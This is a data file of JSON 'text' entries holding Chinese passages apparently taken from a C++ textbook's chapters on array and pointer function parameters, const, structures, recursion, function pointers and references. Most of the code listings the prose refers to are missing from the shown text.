    {"text": "函数调用sum_arr(coolies, ArSize)将cookies数组第一个元素的地址和数组中的元素数目传递给sum_arr( )函数。 sum_arr( )函数将cookies的地址赋给指针变量arr，将ArSize赋给int变量n。"},
    {"text": "这意味着，程序清单7.5实际上并没有将数组内容传递给函数，而是将数组的位置（地址）、包含的元素种类（类型）以及元素数目（n变量）提交给函数（参见图7.4）。"},
    {"text": "实际上，这种区别并不违反C++按值传递的方法，sum_arr( )函数仍传递了一个值，这个值被赋给一个新变量，但这个值是一个地址，而不是数组的内容。"},
    {"text": "这是由于sizeof cookies是整个数组的长度，而sizeof arr只是指针变量的长度（上述程序运行结果是从一个使用4字节地址的系统中获得的）。 顺便说一句，这也是必须显式传递数组长度，而不能在sum_arr( )中使用sizeof arr的原因；"},
    {"text": "注意： 为将数组类型和元素数量告诉数组处理函数，请通过两个不同的参数来传递它们： 而不要试图使用方括号表示法来传递数组长度： 7.3.3 更多数组函数示例 选择使用数组来表示数据时，实际上是在进行一次设计方面的决策。"},
    {"text": "1．填充数组 由于接受数组名参数的函数访问的是原始数组，而不是其副本，因此可以通过调用该函数将值赋给数组元素。 该函数的一个参数是要填充的数组的名称。"},
    {"text": "通常，程序可以管理多个人的投资，因此需要多个数组，因此不能在函数中设置数组长度，而要将数组长度作为第二个参数传递，就像前一个示例那样。"},
    {"text": "如果该函数要修改数组，其原型可能类似于下面这样： 如果函数不修改数组，其原型可能类似于下面这样： 当然，在函数原型中可以省略变量名，也可将返回类型指定为类型。"},
    {"text": "另外，由于通过参数传递了元素数，这两个函数都可使用任何长度的数组，只要数组的类型为double： 这种做法是通过传递两个数字（数组地址和元素数）实现的。"},
    {"text": "7.3.4 使用数组区间的函数 正如您看到的，对于处理数组的C++函数，必须将数组中的数据种类、数组的起始位置和数组中元素数量提交给它； 传统的C/C++方法是，将指向数组起始处的指针作为一个参数，将数组长度作为第二个参数（指针指出数组的位置和数据类型），这样便给函数提供了找到所有数据所需的信息。 还有另一种给函数提供所需信息的方法，即指定元素区间（range），这可以通过传递两个指针来完成：一个指针标识数组的开头，另一个指针标识数组的尾部。"},
    {"text": "程序清单7.8 arrfun4.cpp 下面是该程序的输出： 程序说明 请注意程序清单7.8中sum_array( )函数中的for循环： 它将pt设置为指向要处理的第一个元素（begin指向的元素）的指针，并将*pt（元素的值）加入到total中。"},
    {"text": "其次，请注意不同的函数调用是如何指定数组中不同的区间的： 指针cookies + ArSize指向最后一个元素后面的一个位置（数组有ArSize个元素，因此cookies[ArSize − 1]是最后一个元素，其地址为cookies + ArSize – 1）。 因此，区间[cookies，cookies + ArSize]指定的是整个数组。"},
    {"text": "7.3.5 指针和const 将const用于指针有一些很微妙的地方（指针看起来总是很微妙），我们来详细探讨一下。 可以用两种不同的方式将const关键字用于指针。"},
    {"text": "第一种方法是让指针指向一个常量对象，这样可以防止使用该指针来修改所指向的值，第二种方法是将指针本身声明为常量，这样可以防止改变指针指向的位置。"},
    {"text": "可以直接通过age变量来修改age的值，但不能使用pt指针来修改它： 以前我们将常规变量的地址赋给常规指针，而这里将常规变量的地址赋给指向const的指针。"},
    {"text": "C++禁止第二种情况的原因很简单——如果将g_moon的地址赋给pm，则可以使用pm来修改g_moon的值，这使得g_moon的const状态很荒谬，因此C++禁止将const的地址赋给非const指针。"},
    {"text": "前面讲过，假如涉及的是一级间接关系，则将非const指针赋给const指针是可以的： 然而，进入两级间接关系时，与一级间接关系一样将const和非const混合的指针赋值方式将不再安全。 如果允许这样做，则可以编写这样的代码： 上述代码将非const地址（&pl）赋给了const指针（pp2），因此可以使用pl来修改const数据。 因此，仅当只有一层间接关系（如指针指向基本数据类型）时，才可以将非const地址或指针赋给const指针。 注意： 如果数据类型本身并不是指针，则可以将const数据或非const数据的地址赋给指向const的指针，但只能将非const数据的地址赋给非const指针。 假设有一个由const数据组成的数组： 则禁止将常量数组的地址赋给非常量指针将意味着不能将数组名作为参数传递给使用非常量形参的函数： 上述函数调用试图将const指针（months）赋给非const指针（arr），编译器将禁止这种函数调用。 尽可能使用const 将指针参数声明为指向常量数据的指针有两条理由： 这样可以避免由于无意间修改数据而导致的编程错误； 使用const使得函数能够处理const和非const实参，否则将只能接受非const数据。 如果条件允许，则应将指针形参声明为指向const的指针。"},
    {"text": "图7.5 指向const的指针和const指针 如果愿意，还可以声明指向const对象的const指针： 其中，stick 只能指向 trouble，而 stick 不能用来修改 trouble 的值。 简而言之，stick 和*stick 都是const。 通常，将指针作为函数参数来传递时，可以使用指向const的指针来保护数据。"},
    {"text": "7.4 函数和二维数组 为编写将二维数组作为参数的函数，必须牢记，数组名被视为其地址，因此，相应的形参是一个指针，就像一维数组一样。"},
    {"text": "因此data的类型是指向由4个int组成的数组的指针，因此正确的原型如下： 其中的括号是必不可少的，因为下面的声明将声明一个由4个指向int的指针组成的数组，而不是由一个指向由4个int组成的数组的指针；"},
    {"text": "另外，函数参数不能是数组： 还有另外一种格式，这种格式与上述原型的含义完全相同，但可读性更强： 上述两个原型都指出，ar2是指针而不是数组。"},
    {"text": "因此ar2[r]是编号为r的元素。 由于该元素本身就是一个由4个int组成的数组，因此ar2[r]是由4个int组成的数组的名称。 将下标用于数组名将得到一个数组元素，因此ar2[r][c]是由4个int组成的数组中的一个元素，是一个int值。"},
    {"text": "然而，如果不考虑难看的话，也可以使用运算符*两次： 为理解这一点，读者可以从内向外解析各个子表达式的含义： sum( )的代码在声明参数ar2时，没有使用const，因为这种技术只能用于指向基本类型的指针，而ar2是指向指针的指针。"},
    {"text": "被设置为字符串的地址的char指针。 但上述3种选择的类型都是char指针（准确地说是char*），因此可以将其作为字符串处理函数的参数： 可以说是将字符串作为参数来传递，但实际传递的是字符串第一个字符的地址。 这意味着字符串函数原型应将其表示字符串的形参声明为char *类型。"},
    {"text": "C-风格字符串与常规char数组之间的一个重要区别是，字符串有内置的结束字符（前面讲过，包含字符，但不以空值字符结尾的char数组只是数组，而不是字符串）。"},
    {"text": "程序清单7.9 strgfun.cpp 下面是该程序的输出： 程序说明 由于程序清单7.9中的c_int_str( )函数不应修改原始字符串，因此它在声明形参str时使用了限定符const。"},
    {"text": "当然，可以在函数头中使用数组表示法，而不声明str： 然而，使用指针表示法提醒读者注意，参数不一定必须是数组名，也可以是其他形式的指针。"},
    {"text": "该函数本身演示了处理字符串中字符的标准方式： str最初指向字符串的第一个字符，因此*str表示的是第一个字符。 例如，第一次调用该函数后，*str的值将为m——“minimum”的第一个字符。"},
    {"text": "在每轮循环的结尾处，表达式str++将指针增加一个字节，使之指向字符串中的下一个字符。 最终，str将指向结尾的空值字符，使得*str等于0——空值字符的数字编码，从而结束循环。"},
    {"text": "程序清单7.10 strgback.cpp 下面是该程序的运行情况： 程序说明 要创建包含n个字符的字符串，需要能够存储n + 1个字符的空间，以便能够存储空值字符。 因此，程序清单7.10中的函数请求分配n + 1个字节的内存来存储该字符串，并将最后一个字节设置为空值字符，然后从后向前对数组进行填充。"},
    {"text": "从前向后填充的代码将与下面类似： 注意，变量pstr的作用域为buildstr函数内，因此该函数结束时，pstr（而不是字符串）使用的内存将被释放。"},
    {"text": "前面讲过，可以将一个结构赋给另外一个结构。 同样，也可以按值传递结构，就像普通变量那样。 在这种情况下，函数将使用原始结构的副本。 另外，函数也可以返回结构。"},
    {"text": "程序清单7.11在sum( )函数中使用了这种计算方式，并使用show_time( )函数显示travel_time结构的内容。 程序清单7.11 travel.cpp 其中，travel_time就像是一个标准的类型名，可被用来声明变量、函数的返回类型和函数的参数类型。 由于total和t1变量是travel_time结构，因此可以对它们使用句点成员运算符。 由于sum( )函数返回travel_time结构，因此可以将其用作show_time( )函数的参数。 由于在默认情况下，C++函数按值传递参数，因此函数调用show_time(sum(trip, day3))将执行函数调用sum(trip, day3)，以获得其返回值。 然后，show_time( )调用将sum( )的返回值（而不是函数自身）传递给show_time( )。"},
    {"text": "下面是该程序的输出： 7.6.2 另一个处理结构的函数示例 前面介绍的有关函数和C++结构的大部分知识都可用于C++类中，因此有必要介绍另一个示例。"},
    {"text": "可以定义由两个坐标组成的结构来表示位置： 图7.6 直角坐标 另一种描述点的位置的方法是，指出它偏离原点的距离和方向（例如，东偏北40度）。"},
    {"text": "可以根据毕达哥拉斯定理，使用水平和垂直坐标来计算距离： 数学库中的atan2( )函数可根据x和y的值计算角度： 还有一个atan( )函数，但它不能区分180度之内和之外的角度。"},
    {"text": "例如，较早的g++版本使用下面这样的命令行： 下面是该程序的运行情况： 程序说明 程序清单7.12中的两个函数已经在前面讨论了，因此下面复习一下该程序如何使用cin来控制while循环： 前面讲过，cin是istream类的一个对象。"},
    {"text": "使用cin>>rplace.x时，程序将调用一个函数，该函数返回一个istream值。 将抽取运算符用于cin>>rplace.x对象（就像cin>>rplace.x>>rplace.y这样），也将获得一个istream对象。"},
    {"text": "例如，在程序清单7.12中的循环中，cin期望用户输入两个数字，如果用户输入了q（前面的输出示例就是这样做的），cin>>将知道q不是数字，从而将q留在输入队列中，并返回一个将被转换为fasle的值，导致循环结束。"},
    {"text": "例如，可以将一个结构赋给另一个结构，也可以将一个对象赋给另一个对象。 可以将结构作为完整的实体传递给函数，也可以将对象作为完整的实体进行传递。"},
    {"text": "程序清单7.14 topfive.cpp 下面是该程序的运行情况： 对于该示例，需要指出的一点是，除函数getline( )外，该程序像对待内置类型（如int）一样对待string对象。"},
    {"text": "如果需要string数组，只需使用通常的数组声明格式即可： 这样，数组list的每个元素都是一个string对象，可以像下面这样使用它： 同样，形参sa是一个指向string对象的指针，因此sa[i]是一个string对象，可以像下面这样使用它： 7.8 函数与array对象 在C++中，类对象是基于结构的，因此结构编程方面的有些考虑因素也适用于类。"},
    {"text": "例如，可按值将对象传递给函数，在这种情况下，函数处理的是原始对象的副本。 另外，也可传递指向对象的指针，这让函数能够操作原始对象。"},
    {"text": "假设您要使用一个array对象来存储一年四个季度的开支： 本书前面说过，要使用array类，需要包含头文件array，而名称array位于名称空间std中。"},
    {"text": "如果函数来显示expenses的内容，可按值传递expenses： 但如果函数要修改对象expenses，则需将该对象的地址传递给函数（下一章将讨论另一种方法——使用引用）： 这与程序清单7.13处理结构时使用的方法相同。"},
    {"text": "首先，它用符号常量替换了4： 其次，它使用了一个const array对象，该对象包含4个string对象，用于表示几个季度： 请注意，模板array并非只能存储基本数据类型，它还可存储类对象。"},
    {"text": "程序清单7.15 arrobj.cpp 下面是该程序的运行情况： 程序说明 由于const array对象Snames是在所有函数之前声明的，因此可后面的任何函数定义中使用它。"},
    {"text": "函数fill()和show()都有缺点。 函数show()存在的问题是，expenses存储了四个double值，而创建一个新对象并将expenses的值复制到其中的效率太低。"},
    {"text": "函数fill()使用指针来直接处理原始对象，这避免了上述效率低下的问题，但代价是代码看起来更复杂： 在最后一条语句中，pa是一个指向array<double, 4>对象的指针，因此*pa为这种对象，而(*pa) [i]是该对象的一个元素。"},
    {"text": "7.9.1 包含一个递归调用的递归 如果递归函数调用自己，则被调用的函数也将调用自己，这将无限循环下去，除非代码中包含终止调用链的内容。"},
    {"text": "只要if语句为true，每个recurs( )调用都将执行statements 1，然后再调用recurs( )，而不会执行statements 2。 当if语句为false时，当前调用将执行statements2。"},
    {"text": "当前调用结束后，程序控制权将返回给调用它的recurs( )，而该recurs( )将执行其stataments2部分，然后结束，并将控制权返回给前一个调用，依此类推。"},
    {"text": "因此，如果recurs( )进行了5次递归调用，则第一个statements1部分将按函数调用的顺序执行5次，然后statements2部分将以与函数调用相反的顺序执行5次。"},
    {"text": "程序清单7.16 recur.cpp 下面是该程序的输出： 注意，每个递归调用都创建自己的一套变量，因此当程序到达第5次调用时，将有5个独立的n变量，其中每个变量的值都不同。"},
    {"text": "为验证这一点，读者可以修改程序清单7.16，使之显示n的地址和值： 经过上述修改后，该程序的输出将与下面类似： 注意，在一个内存单元（内存地址为0012FE0C），存储的n值为4；"},
    {"text": "程序清单7.17使用递归函数subdivide( )演示了这种方法，该函数使用一个字符串，该字符串除两端为 | 字符外，其他全部为空格。 main函数使用循环调用subdivide( )函数6次，每次将递归层编号加1，并打印得到的字符串。"},
    {"text": "程序清单7.17 ruler.cpp 下面是程序清单7.17中程序的输出： 程序说明 在程序清单7.17中，subdivide( )函数使用变量level来控制递归层。"},
    {"text": "假设要设计一个名为estimate( )的函数，估算编写指定行数的代码所需的时间，并且希望不同的程序员都将使用该函数。 对于所有的用户来说，estimate( )中一部分代码都是相同的，但该函数允许每个程序员提供自己的算法来估算时间。"},
    {"text": "一定要区分传递的是函数的地址还是函数的返回值： process( )调用使得process( )函数能够在其内部调用think( )函数。 thought( )调用首先调用think( )函数，然后将think( )的返回值传递给thought( )函数。"},
    {"text": "2．声明函数指针 声明指向某种数据类型的指针时，必须指定指针指向的类型。 同样，声明指向函数的指针时，也必须指定指针指向的函数类型。 这意味着声明应指定函数的返回类型以及函数的特征标（参数列表）。 也就是说，声明应像函数原型那样指出有关函数的信息。"},
    {"text": "例如，假设Pam leCoder编写了一个估算时间的函数，其原型如下： 则正确的指针类型声明如下： 这与pam( )声明类似，这是将pam替换为了（*pf）。"},
    {"text": "提示： 通常，要声明指向特定类型的函数的指针，可以首先编写这种函数的原型，然后用（*pf）替换函数名。 这样pf就是这类函数的指针。"},
    {"text": "为提供正确的运算符优先级，必须在声明中使用括号将*pf括起。 括号的优先级比*运算符高，因此*pf（int）意味着pf( )是一个返回指针的函数，而（*pf）（int）意味着pf是一个指向函数的指针： 正确地声明pf后，便可以将相应函数的地址赋给它： 注意，pam( )的特征标和返回类型必须与pf相同。"},
    {"text": "假设要将将要编写的代码行数和估算算法（如pam( )函数）的地址传递给它，则其原型将如下： 上述声明指出，第二个参数是一个函数指针，它指向的函数接受一个int参数，并返回一个double值。 要让estimate( )使用pam( )函数，需要将pam( )的地址传递给它： 显然，使用函数指针时，比较棘手的是编写原型，而传递地址则非常简单。"},
    {"text": "前面讲过，（*pf）扮演的角色与函数名相同，因此使用（*pf）时，只需将它看作函数名即可： 实际上，C++也允许像使用函数名那样使用pf： 第一种格式虽然不太好看，但它给出了强有力的提示——代码正在使用函数指针。"},
    {"text": "一种学派认为，由于pf是函数指针，而*pf是函数，因此应将（*pf）( )用作函数调用。 另一种学派认为，由于函数名是指向该函数的指针，指向函数的指针的行为应与函数名相似，因此应将pf( )用作函数调用使用。"},
    {"text": "程序清单7.18 fun_ptr.cpp 下面是运行该程序的情况： 下面是再次运行该程序的情况： 7.10.3 深入探讨函数指针 函数指针的表示可能非常恐怖。"},
    {"text": "假定该指针名为pa，则只需将目标函数原型中的函数名替换为(*pa)： 可在声明的同时进行初始化： 使用C++11的自动类型推断功能时，代码要简单得多： 现在来看下面的语句： 根据前面介绍的知识可知，(*p1) (av, 3)和p2(av, 3)都调用指向的函数（这里为f1()和f2()），并将av和3作为参数。"},
    {"text": "上述声明的其他部分指出了每个指针指向的是什么：特征标为const double *, int，且返回类型为const double *的函数。 因此，pa是一个包含三个指针的数组，其中每个指针都指向这样的函数，即将const double *和int作为参数，并返回一个const double *。"},
    {"text": "pa[i]和pb[i]都表示数组中的指针，因此可将任何一种函数调用表示法用于它们： 要获得指向的double值，可使用运算符*： 可做的另一件事是创建指向整个数组的指针。 由于数组名pa是指向函数指针的指针，因此指向数组的指针将是这样的指针，即它指向指针的指针。"},
    {"text": "具体地说，如果这个指针名为pd，则需要指出它是一个指针，而不是数组。 这意味着声明的核心部分应为(*pd)[3]，其中的括号让标识符pd与*先结合： 换句话说，pd是一个指针，它指向一个包含三个元素的数组。"},
    {"text": "由pa的声明的其他部分描述，结果如下： 要调用函数，需认识到这样一点：既然pd指向数组，那么*pd就是数组，而(*pd)[i]是数组中的元素，即函数指针。 因此，较简单的函数调用是(*pd) i ，而*(*pd) i 是返回的指针指向的值。 也可以使用第二种使用指针调用函数的语法：使用(*(*pd)[i])(av,3)来调用函数，而*(*(*pd)[i])(av,3)是指向的double值。"},
    {"text": "请注意pa（它是数组名，表示地址）和&pa之间的差别。 正如您在本书前面看到的，在大多数情况下，pa都是数组第一个元素的地址，即&pa[0]。"},
    {"text": "自动类型推断确保变量的类型与赋给它的初值的类型一致，但您提供的初值的类型可能不对： 上述声明导致pc的类型与*pa一致，在程序清单7.19中，后面使用它时假定其类型与&pa相同，这将导致编译错误。"},
    {"text": "您可能还记得，第5章说过，关键字typedef让您能够创建类型别名： 这里采用的方法是，将别名当做标识符进行声明，并在开头使用关键字typedef。"},
    {"text": "因此，可将p_fun声明为程序清单7.19使用的函数指针类型的别名： 然后使用这个别名来简化代码： 使用typedef可减少输入量，让您编写代码时不容易犯错，并让程序更容易理解。"},
    {"text": "要使用函数，必须提供定义和原型，并调用该函数。 函数定义是实现函数功能的代码； 函数原型描述了函数的接口：传递给函数的值的数目和种类以及函数的返回类型。 函数调用使得程序将参数传递给函数，并执行函数的代码。"},
    {"text": "当且仅当声明函数的形参时，下面两个声明才是等价的： 这两个声明都表明，arr是指向typeName的指针，但在编写函数代码时，可以像使用数组名那样使用arr来访问元素：arr[i]。"},
    {"text": "C++还提供了string类，用于表示字符串。 函数可以接受string对象作为参数以及将string对象作为返回值。 string类的方法size( )可用于判断其存储的字符串的长度。"},
    {"text": "3．编写一个接受3个参数的函数：int数组名、数组长度和一个int值，并将数组的所有元素都设置为该int值。 4．编写一个接受3个参数的函数：指向数组区间中第一个元素的指针、指向数组区间最后一个元素后面的指针以及一个int值，并将数组中的每个元素都设置为该int值。"},
    {"text": "12．假设有如下结构声明： a．编写一个函数，它将application结构作为参数，并显示该结构的内容。 b．编写一个函数，它将application结构的地址作为参数，并显示该参数指向的结构的内容。"},
    {"text": "调和平均数指的是倒数平均值的倒数，计算公式如下： 调和平均数=2.0 * x * y / (x + y) 2．编写一个程序，要求用户输入最多10个高尔夫成绩，并将其存储在一个数组中。"},
    {"text": "3．下面是一个结构声明： a．编写一个函数，按值传递box结构，并显示每个成员的值。 b．编写一个函数，传递box结构的地址，并将volume成员设置为其他三维长度的乘积。"},
    {"text": "在这些玩法中，玩家从一组被称为域号码（field number）的号码中选择几个。 例如，可以从域号码1～47中选择5个号码； 还可以从第二个区间（如1～27）选择一个号码（称为特选号码）。"},
    {"text": "要赢得头奖，必须正确猜中所有的号码。 中头奖的几率是选中所有域号码的几率与选中特选号码几率的乘积。 例如，在这个例子中，中头奖的几率是从47个号码中正确选取5个号码的几率与从27个号码中正确选择1个号码的几率的乘积。"},
    {"text": "Show_array( )将一个double数组的名称和长度作为参数，并显示该数组的内容。 Reverse-array( )将一个double数组的名称和长度作为参数，并将存储在数组中的值的顺序反转。"},
    {"text": "编写两个这样的版本： a．使用const char *数组存储表示季度名称的字符串，并使用double数组存储开支。 b．使用const char *数组存储表示季度名称的字符串，并使用一个结构，该结构只有一个成员——一个用于存储开支的double数组。"},
    {"text": "10．设计一个名为calculate( )的函数，它接受两个double值和一个指向函数的指针，而被指向的函数接受两个double参数，并返回一个double值。 calculate( )函数的类型也是double，并返回被指向的函数使用calculate( )的两个double参数计算得到的值。 例如，假设add( )函数的定义如下： 则下述代码中的函数调用将导致calculate( )把2.5和10.4传递给add( )函数，并返回add( )的返回值（12.9）： 请编写一个程序，它调用上述两个函数和至少另一个与add( )类似的函数。"},
    {"text": "如果读者爱冒险，可以尝试创建一个指针数组，其中的指针指向add( )样式的函数，并编写一个循环，使用这些指针连续让calculate( )调用这些函数。"},
    {"text": "执行到函数调用指令时，程序将在函数调用后立即存储该指令的内存地址，并将函数参数复制到堆栈（为此保留的内存块），跳到标记函数起点的内存单元，执行函数代码（也许还需将返回值放入到寄存器中），然后跳回到地址被保存的指令处（这与阅读文章时停下来看脚注，并在阅读完脚注后返回到以前阅读的地方类似）。"},
    {"text": "即使使用新的定义，SQUARE（C++）仍将c递增两次，但是程序清单8.1中的内联函数square( )计算c的结果，传递它，以计算其平方值，然后将c递增一次。"},
    {"text": "上述引用声明允许将rats和rodents互换——它们指向相同的值和内存单元，程序清单8.2表明了这一点。 程序清单8.2 firstref.cpp 请注意，下述语句中的&运算符不是地址运算符，而是将rodents的类型声明为int &，即指向int变量的引用： 但下述语句中的&运算符是地址运算符，其中&rodents表示rodents引用的变量的地址： 下面是程序清单8.2中程序的输出： 从中可知，rats和rodents的值和地址都相同（具体的地址和显示格式随系统而异）。"},
    {"text": "（同样，虽然该示例演示了引用是如何工作的，但并没有说明引用的典型用途，即作为函数参数，具体地说是结构和对象参数，稍后将介绍这些用法）。"},
    {"text": "例如，差别之一是，必须在声明引用时将其初始化，而不能像指针那样，先声明，再赋值： 注意： 必须在声明引用变量时进行初始化。 引用更接近const指针，必须在创建时进行初始化，一旦与某个变量关联起来，就将一直效忠于它。"},
    {"text": "程序清单8.3演示了试图将rats变量的引用改为bunnies变量的引用时，将发生的情况。 程序清单8.3 sceref.cpp 下面是程序清单8.3中程序的输出： 最初，rodents引用的是rats，但随后程序试图将rodents作为bunnies的引用： 咋一看，这种意图暂时是成功的，因为rodents的值从101变为了50。"},
    {"text": "程序清单8.4 swaps.cpp 下面是程序清单8.4中程序的输出： 正如您预想的，引用和指针方法都成功地交换了两个钱夹（wallet）中的内容，而按值传递的方法没能完成这项任务。 程序说明 首先来看程序清单8.4中每个函数是如何被调用的： 按引用传递（swapr(wallet1, wallet2)）和按值传递（swapv(wallet1, waller2)）看起来相同。"},
    {"text": "然而，地址运算符（&）使得按地址传递（swapp(&wallet1, &wallet2)）一目了然（类型声明int * p表明，p是一个int指针，因此与p对应的参数应为地址，如&wallet1）。 接下来，比较函数swapr( )（按引用传递）和swapv( )（按值传递）的代码，唯一的外在区别是声明函数参数的方式不同： 当然还有内在区别：在swapr( )中，变量a和b是wallet1和wallet2的别名，所以交换a和b的值相当于交换wallet1和wallet2的值； 但在swapv( )中，变量a和b是复制了wallet1和waller2的值的新变量，因此交换a和b的值并不会影响wallet1和wallet2的值。"},
    {"text": "函数调用使用实参初始化形参，因此函数的引用参数被初始化为函数调用传递的实参。 也就是说，下面的函数调用将形参a和b分别初始化为wallet1和wallet2： 8.2.3 引用的属性和特别之处 使用引用参数时，需要了解其一些特点。"},
    {"text": "下面的代码不合理，因为表达式x + 3.0并不是变量： 例如，不能将值赋给该表达式： 如果试图使用像refcube(x + 3.0)这样的函数调用，将发生什么情况呢？"},
    {"text": "在C语言中，左值最初指的是可出现在赋值语句左边的实体，但这是引入关键字const之前的情况。 现在，常规变量和const变量都可视为左值，因为可通过地址访问它们。 但常规变量属于可修改的左值，而const变量属于不可修改的左值。"},
    {"text": "假设重新定义了refcube( )，使其接受一个常量引用参数： 现在考虑下面的代码： 参数side、lens[2]、rd和*pd都是有名称的、double类型的数据对象，因此可以为其创建引用，而不需要临时变量（还记得吗，数组元素的行为与同类型的变量类似）。"},
    {"text": "解决方法是，禁止创建临时变量，现在的C++标准正是这样做的（然而，在默认情况下，有些编译器仍将发出警告，而不是错误消息，因此如果看到了有关临时变量的警告，请不要忽略）。"},
    {"text": "因此，如果声明将引用指定为const，C++将在必要时生成临时变量。 实际上，对于形参为const引用的C++函数，如果实参不匹配，则其行为类似于按值传递，为确保原始数据不被修改，将使用临时变量来存储值。 注意： 如果函数调用的参数不是左值或与相应的const引用参数的类型不匹配，则C++将创建类型正确的匿名变量，将函数调用的参数的值传递给该匿名变量，并让参数来引用该变量。 应尽可能使用const 将引用参数声明为常量数据的引用的理由有三个： 使用const可以避免无意中修改数据的编程错误； 使用const使函数能够处理const和非const实参，否则将只能接受非const数据； 使用const引用使函数能够正确生成并使用临时变量。 因此，应尽可能将引用形参声明为const。"},
    {"text": "使用结构引用参数的方式与使用基本变量引用相同，只需在声明结构参数时使用引用运算符&即可。 例如，假设有如下结构定义： 则可以这样编写函数原型，在函数中将指向该结构的引用作为参数： 如果不希望函数修改传入的结构，可使用const： 程序清单8.6中的程序正是这样做的。"},
    {"text": "根据前一章介绍的知识，另一种方法是使用指针参数并传递地址，但要复杂些： 下一个函数调用如下： 由于display()显示结构的内容，而不修改它，因此这个函数使用了一个const引用参数。"},
    {"text": "首先，将结构对象team作为第一个参数传递给了accumulate()。 这意味着在函数accumulate()中，target指向的是team。 函数accumulate()修改team，再返回指向它的引用。"},
    {"text": "注意到返回语句如下： 光看这条语句并不能知道返回的是引用，但函数头和原型指出了这一点： 如果返回类型被声明为free_throws而不是free_throws &，上述返回语句将返回target（也就是team）的拷贝。 但返回类型为引用，这意味着返回的是最初传递给accumulate()的team对象。"},
    {"text": "所以，下述代码： 与下面的代码等效： 上述逻辑也适用于如下语句： 因此，该语句与下面的语句等效： 接下来，程序使用了一条赋值语句： 正如您预期的，这条语句将team中的值复制到dup中。"},
    {"text": "由于返回的是指向dup的引用，因此上述代码与下面的代码等效： 其中第二条语句消除了第一条语句所做的工作，因此在原始赋值语句使用accumulate()的方式并不好。"},
    {"text": "从概念上说，这个值被复制到一个临时位置，而调用程序将使用这个值。 请看下面的代码： 在第一条语句中，值4.0被复制到一个临时位置，然后被复制给m。 在第二条语句中，值5.0被复制到一个临时位置，然后被传递给cout（这里理论上的描述，实际上，编译器可能合并某些步骤）。 现在来看下面的语句： 如果accumulate()返回一个结构，而不是指向结构的引用，将把整个结构复制到一个临时位置，再将这个拷贝复制给dup。"},
    {"text": "注意： 返回引用的函数实际上是被引用的变量的别名。 3．返回引用时需要注意的问题 返回引用时最重要的一点是，应避免返回函数终止时不再存在的内存单元引用。 您应避免编写下面这样的代码： 该函数返回一个指向临时变量（newguy）的引用，函数运行完毕后它将不再存在。"},
    {"text": "这种方法存在一个问题：在不再需要new分配的内存时，应使用delete来释放它们。 调用clone( )隐藏了对new的调用，这使得以后很容易忘记使用delete来释放内存。"},
    {"text": "4．为何将const用于引用返回类型 程序清单8.6包含如下语句： 其效果如下：首先将five的数据添加到dup中，再使用four的内容覆盖dup的内容。"},
    {"text": "假设您要使用引用返回值，但又不允许执行像给accumulate()赋值这样的操作，只需将返回类型声明为const引用： 现在返回类型为const，是不可修改的左值，因此下面的赋值语句不合法： 该程序中的其他函数调用又如何呢？ 返回类型为const引用后，下面的语句仍合法： 这是因为display()的形参也是const free_throws &类型。 但下面的语句不合法，因此accumulate()的第一个形参不是const： 这影响大吗？"},
    {"text": "8.2.5 将引用用于类对象 将类对象传递给函数时，C++通常的做法是使用引用。 例如，可以通过使用引用，让函数将类string、ostream、istream、ofstream和ifstream等类的对象作为参数。"},
    {"text": "temp是一个新的string对象，只在函数version1( )中有效，该函数执行完毕后，它将不再存在。 因此，返回指向temp的引用不可行，因此该函数的返回类型为string，这意味着temp的内容将被复制到一个临时存储单元中，然后在main( )中，该存储单元的内容被复制到一个名为result的string中： 将C-风格字符串用作string对象引用参数 对于函数version1( )，您可能注意到了很有趣的一点：该函数的两个形参（s1和s2）的类型都是const string &，但实参（input和“***”）的类型分别是string和const char *。"},
    {"text": "假设实参的类型与引用参数类型不匹配，但可被转换为引用类型，程序将创建一个正确类型的临时变量，使用转换后的实参值来初始化它，然后传递一个指向该临时变量的引用。"},
    {"text": "例如，在本章前面，将int实参传递给const double &形参时，就是以这种方式进行处理的。 同样，也可以将实参char *或const char *传递给形参const string &。 这种属性的结果是，如果形参类型为const string &，在调用函数时，使用的实参可以是string对象或C-风格字符串，如用引号括起的字符串字面量、以空字符结尾的char数组或指向char的指针变量。"},
    {"text": "因此，下面的代码是可行的： 函数version2( )不创建临时string对象，而是直接修改原来的string对象： 该函数可以修改s1，因为不同于s2，s1没有被声明为const。"},
    {"text": "由于s1是指向main( )中一个对象（input）的引用，因此将s1最为引用返回是安全的。 由于s1是指向input的引用，因此，下面一行代码： 与下面的代码等价： 然而，由于s1是指向input的引用，调用该函数将带来修改input的副作用： 因此，如果要保留原来的字符串不变，这将是一种错误设计。"},
    {"text": "8.2.6 对象、继承和引用 ostream和ofstream类凸现了引用的一个有趣属性。 正如第6章介绍的，ofstream对象可以使用ostream类的方法，这使得文件输入/输出的格式与控制台输入/输出相同。"},
    {"text": "简单地说，ostream是基类（因为ofstream是建立在它的基础之上的），而ofstream是派生类（因为它是从ostream派生而来的）。 派生类继承了基类的方法，这意味着ofstream对象可以使用基类的特性，如格式化方法precision( )和setf( )。"},
    {"text": "这种特征的一个实际结果是，可以定义一个接受基类引用作为参数的函数，调用该函数时，可以将基类对象作为参数，也可以将派生类对象作为参数。 例如，参数类型为ostream &的函数可以接受ostream对象（如cout）或您声明的ofstream对象作为参数。"},
    {"text": "程序清单8.8 filefunc.cpp 下面是该程序的运行情况： 下述代码行将目镜数据写入到文件ep-data.txt中： 而下述代码行将同样的信息以同样的格式显示到屏幕上： 程序说明 对于该程序，最重要的一点是，参数os（其类型为ostream &）可以指向ostream对象（如cout），也可以指向ofstream对象（如fout）。"},
    {"text": "例如，方法调用setf(ios_base::fixed)将对象置于使用定点表示法的模式； setf(ios_base::showpoint)将对象置于显示小数点的模式，即使小数部分为零。"},
    {"text": "因此，将返回值赋给initial将存储调用file_it( )之前的格式化设置，然后便可以使用变量initial作为参数来调用setf( )，将所有的格式化设置恢复到原来的值。"},
    {"text": "因此，当程序将cout传递给file_it( )时，cout的设置将被修改，然后被恢复； 当程序将fout传递给file_it( )时，fout的设置将被修改，然后被恢复。"},
    {"text": "如果数据对象是数组，则使用指针，因为这是唯一的选择，并将指针声明为指向const的指针。 如果数据对象是较大的结构，则使用const指针或const引用，以提高程序的效率。"},
    {"text": "例如，函数调用left(“theory”, 3)将创建新字符串“the”，并返回一个指向该字符串的指针。 现在假设第二个参数的默认值被设置为1，则函数调用left(“theory”, 3)仍像前面讲述的那样工作，3将覆盖默认值。 但函数调用left(“theory”)不会出错，它认为第二个参数的值为1，并返回指向字符串“t”的指针。"},
